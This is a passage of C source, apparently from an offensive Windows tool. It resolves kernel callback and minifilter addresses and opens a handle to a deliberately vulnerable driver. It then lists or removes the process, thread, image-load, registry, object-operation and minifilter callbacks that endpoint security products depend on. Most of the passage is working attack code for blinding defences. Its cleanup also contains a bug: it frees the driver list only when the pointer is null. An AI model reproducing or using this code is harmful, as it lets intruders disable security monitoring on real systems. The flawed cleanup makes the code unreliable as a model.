	dwPspLoadImageNotifyRoutineArray		= dwNtoskrnlBaseAddress + g_ntoskrnlOffsets.st.pspLoadImageNotifyRoutine;
	dwCallbackListHead						= dwNtoskrnlBaseAddress + g_ntoskrnlOffsets.st.CallbackListHead;
	dwPsProcessType							= dwNtoskrnlBaseAddress + g_ntoskrnlOffsets.st.psProcessType;
	dwPsThreadType							= dwNtoskrnlBaseAddress + g_ntoskrnlOffsets.st.psThreadType;

	dwFltGlobals							= dwfltMgrBaseAddress + g_fltMgrOffsets.st.FltGlobals;

	// Print the base addresses of kernel callbacks
	printf("\n");
	info_t("------------- Address and offset overview -------------")
	info_t("PspCreateProcessNotifyRoutineArray address:     0x%llx", dwPspCreateProcessNotifyRoutineArray);
	info_t("PspCreateThreadNotifyRoutineArray address:      0x%llx", dwPspCreateThreadNotifyRoutineArray);
	info_t("PspLoadImageNotifyRoutineArray address:         0x%llx", dwPspLoadImageNotifyRoutineArray);
	info_t("CallbackListHead address:                       0x%llx", dwCallbackListHead);
	info_t("PsProcessType address:                          0x%llx", dwPsProcessType);
	info_t("PsThreadType address:                           0x%llx", dwPsThreadType);
	info_t("_OBJECT_TYPE.Callbacklist offset:               0x%llx", g_ntoskrnlOffsets.st.object_type_callbacklist);

	info_t("FltGlobals address addres:                      0x%llx", dwFltGlobals);
	info_t("_GLOBALS.FrameList offset:                      0x%llx", g_fltMgrOffsets.st._GLOBALS_FrameList);
	info_t("_FLT_RESOURCE_LIST_HEAD.rList offset:           0x%llx", g_fltMgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList);

	info_t("_DRIVER_OBJECT.DriverInit offset:               0x%llx", g_fltMgrOffsets.st._DRIVER_OBJECT_DriverInit);
	info_t("_FLTP_FRAME.Links offset:                       0x%llx", g_fltMgrOffsets.st._FLTP_FRAME_Links);
	info_t("_FLTP_FRAME.RegisteredFilters offset:           0x%llx", g_fltMgrOffsets.st._FLTP_FRAME_RegisteredFilters);
	info_t("_FLT_FILTER.DriverObject offset:                0x%llx", g_fltMgrOffsets.st._FLT_FILTER_DriverObject);
	info_t("_FLT_FILTER.InstanceList offset:                0x%llx", g_fltMgrOffsets.st._FLT_FILTER_InstanceList);
	info_t("_FLT_INSTANCE.CallbackNodes offset:             0x%llx", g_fltMgrOffsets.st._FLT_INSTANCE_CallbackNodes);
	info_t("_FLT_INSTANCE.FilterLink offset:                0x%llx", g_fltMgrOffsets.st._FLT_INSTANCE_FilterLink);
	info_t("_FLT_OBJECT.PrimaryLink offset:                 0x%llx", g_fltMgrOffsets.st._FLT_OBJECT_PrimaryLink);


	printf("\n");

	// Open a handle to the vulnerable driver using symbolik link
	hDevice = GetDeviceHandle(g_VULNDRIVERSYMLINK);
	if (hDevice == NULL) {
		error("GetDeviceHandle - Failed");
		bSTATE = FALSE;
		goto _cleanUp;
	}
	info_t("GetDeviceHandle - Handle to vulnerable driver 0x%p", hDevice);

	// Enumerate loaded kernel drivers
	if (!ListAndSortKernelDrivers(&pDrivers, &dwDriverCount)) {
		error("ListAndSortKernelDrivers - Failed to enumerate kernel drivers");
		bSTATE = FALSE;
		goto _cleanUp;
	}
	info_t("ListAndSortKernelDrivers - Enumerated %d kernel drivers at 0x%p", dwDriverCount, pDrivers);

	// List and or remove Process Creation kernel callbacks
	printf("\n");
	ListOrRemoveKCArray(hDevice, "Process Creation", dwPspCreateProcessNotifyRoutineArray, pDrivers, dwDriverCount, bRemove);

	// List and or remove Thread Creation kernel callbacks
	printf("\n");
	ListOrRemoveKCArray(hDevice, "Thread Creation", dwPspCreateThreadNotifyRoutineArray, pDrivers, dwDriverCount, bRemove);

	// List and or remove Image Loading kernel callbacks
	printf("\n");
	ListOrRemoveKCArray(hDevice, "Image Loading", dwPspLoadImageNotifyRoutineArray, pDrivers, dwDriverCount, bRemove);

	// List and or remove Registry kernel callbacks
	printf("\n");
	ListOrRemoveKCRegistryOperations(hDevice, "Registry Operations", dwCallbackListHead, pDrivers, dwDriverCount, bRemove);

	// List and or remove Object Operations kernel callbacks for process
	printf("\n");
	ListOrRemoveKCObjectOperations(hDevice, "Process Object Operations", dwPsProcessType, pDrivers, dwDriverCount, bRemove);
	
	// List and or remove Object Operations kernel callbacks for threads
	printf("\n");
	ListOrRemoveKCObjectOperations(hDevice, "Thread Object Operations", dwPsThreadType, pDrivers, dwDriverCount, bRemove);

	// List and remove Mini Filter kernel callbacks
	printf("\n");
	ListOrRemoveMiniFiltersCallbacks(hDevice, "Minifilters", dwFltGlobals, pDrivers, dwDriverCount, bRemove);
	printf("\n");

_cleanUp:

	// Close handle to device
	if (hDevice) {
		CloseHandle(hDevice);
	}

	// Cleanup driver list
	if (!pDrivers) {
		HeapFree(GetProcessHeap(), 0, pDrivers);
	}

	return bSTATE;

}
